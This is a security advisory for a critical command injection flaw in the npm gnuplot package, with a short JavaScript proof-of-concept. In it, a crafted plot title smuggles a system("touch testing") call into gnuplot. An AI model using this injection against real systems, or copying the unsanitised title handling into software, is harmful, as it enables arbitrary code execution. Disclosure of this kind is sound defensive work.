GHSA-cfwc-xjfp-44jg

Suggest an improvement
Source
https://github.com/advisories/GHSA-cfwc-xjfp-44jg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-cfwc-xjfp-44jg/GHSA-cfwc-xjfp-44jg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-cfwc-xjfp-44jg
Published
2020-09-04T17:19:48Z
Modified
2020-08-31T18:59:23Z
Summary
Command Injection in gnuplot
Details

All versions of gnuplot are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:

var gnuplot = require('gnuplot');

const title = '"\nset title system("touch testing")\n#';

gnuplot()
.set('term png')
.set('output "out.png"')
.set(`title "${title}"`)
.set('xrange [-10:10]')
.set('yrange [-2:2]')
.set('zeroaxis')
.plot('(x/4)**2, sin(x), 1/x')
.end();

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Database specific
{
    "cwe_ids": [
        "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:59:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
}
References

Affected packages

npm / gnuplot

Package

Affected ranges

Type
SEMVER
Events
Introduced
0.0.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-cfwc-xjfp-44jg/GHSA-cfwc-xjfp-44jg.json"